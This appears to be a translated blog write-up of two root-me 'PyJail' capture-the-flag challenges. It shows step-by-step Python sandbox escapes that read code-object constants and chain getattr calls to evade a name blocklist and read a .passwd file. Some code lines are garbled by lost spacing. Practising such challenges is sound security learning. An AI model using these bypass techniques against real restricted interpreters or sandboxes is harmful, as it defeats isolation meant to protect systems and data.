Back to Home

Python features you might not have been aware of

Greetings to% username%. After reading an article on sudo workarounds · I decided to try to describe something similar · but for Python. Thanks to root-me for such tasks. Solving them · you can much ...

Python features you might not have been aware of

Greetings to% username%. After reading an article on sudo workarounds , I decided to try to describe something similar, but for Python . Thanks to root-me for such tasks. Solving them, you can learn a lot about the work of a particular mechanism. Please do not judge strictly, this is my first creation.
Let's get started!

PyJail 1


After connecting, we see this greeting and a short description:



The bottom line is: we ended up in a limited version of the Python interpreter , we either need to exit it or get the contents of the .passwd file in the same directory. Nothing complicated, you just need to exit the interpreter. Let's try to do this:

>>> exit()
TypeError : exit() takes exactly 1 argument (0 given)
>>> exit('exit')
Denied
>>> exit(0)
You cannot escape !

We found out that the exit function requires 1 parameter, which is checked with something, and in case of failure returns You cannot escape! . They also determined that the use of string literals is prohibited. A simple enumeration defines a list of prohibited functions:

>>> __import__
Denied
>>> name
Denied
>>> locals
Denied
>>> globals
Denied
>>> eval
Denied
>>> import
Denied
>>> __
Denied
>>> system
Denied

We figured this out, it remains to find out what actions are allowed to be performed. Let's try print :

>>> print123123

It works. Creation of variables and functions is also available:

>>> a=[1]
>>> print a
[1]
>>> defls(): print(1)
>>> ls()
1

What about object properties?

>>> a.append(10)
>>> print a
[1, 10]

They are also available. In Python, almost everything is an object, including functions. You can read more about how to work with the function as an object here .

Now we move on to the final part, try to look at the list of constants that are declared in the only accessible function exit () :

>>> print(exit.func_code.co_consts)
(None, 'flag-WQ0dSFrab3LGADS1ypA1', -1, 'cat .passwd', 'You cannot escape !')

From the information obtained, it is possible to figuratively restore the logic of the function:

defexit(txt):if txt == 'flag-WQ0dSFrab3LGADS1ypA1':
            os.system('cat .passwd')
      else:
            print('You cannot escape !')

Check this guess:

>>> x = exit.func_code.co_consts[1]
>>> print(x)
flag-WQ0dSFrab3LGADS1ypA1
>>> exit(x)
Well done flag : XXXXXXXXXXXXXXXXXXXXXXX

Yes, it works. Thus, we can not only view the list of variables used, but also get the bytecode of this function, which, after simple decompilation, can be restored even with errors.

PyJail 2




The second part of. By tradition, as always, we need to get the contents of the .passwd file . Let's get started. Let's try the same technique that was used in the first part:

>>> print(getout.func_code.co_consts)
You are in jail dude ... Did you expect to have the key ?

Let's try differently. First, check if the dir command is available ?

>>> dir()
>>> a=[]
>>> dir(a)
NameError: name 'dir(a)'isnot defined
>>> print(dir())
['__builtins__', 'command', 'getout']

Yes, it works, but so far at this stage little is useful. After checking the rest of the functions from the list , we find that we can use another function:

>>> print(getattr)
<built-in function getattr>

What does it give? The following is known from the documentation:
Return the value of the named attribute of object. name must be a string. If the string is the name of one of the object's attributes, the result is the value of that attribute. For example, getattr (x, 'foobar') is equivalent to x.foobar. If the named attribute does not exist, default is returned if provided, otherwise AttributeError is raised.

A function takes an object, finds a method in it, and returns it. Let's see what methods getout has :
>>> print dir(getout)
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']

Well, acting by analogy as it was in PyJail1, first we find out the list of functions used in getout :

>>> fc=getattr(getout, dir(getout)[25]); mds=getattr(fc, dir(fc)[32]); prm=getattr(fc, dir(fc)[25])[2]; print(mds)
('passwd', 'os', 'system', 'sys', 'exit') 

Now we get the list of constants:

>>> fc=getattr(getout, dir(getout)[25]); mds=getattr(fc, dir(fc)[32]); prm=getattr(fc, dir(fc)[25]); print(prm)
(' check if arg is equal to the random password ', 'Well done ! Here is your so desired flag : ', 'cat .passwd', 'Hum ... no.', None)

It remains to execute system ('cat .passwd') and get a password to complete the task

>>> fc=getattr(getout, dir(getout)[25]); mds=getattr(fc, dir(fc)[32]); prm=getattr(fc, dir(fc)[25])[2]; splt=getattr(prm, dir(prm)[62]); f=open(splt(prm[3])[1]); rd=getattr(f, dir(f)[29]); rrd=rd(); print(rrd)

Using Python in such a cunning way, we have the opportunity to do one action in many different ways. That's all for now.

Read Next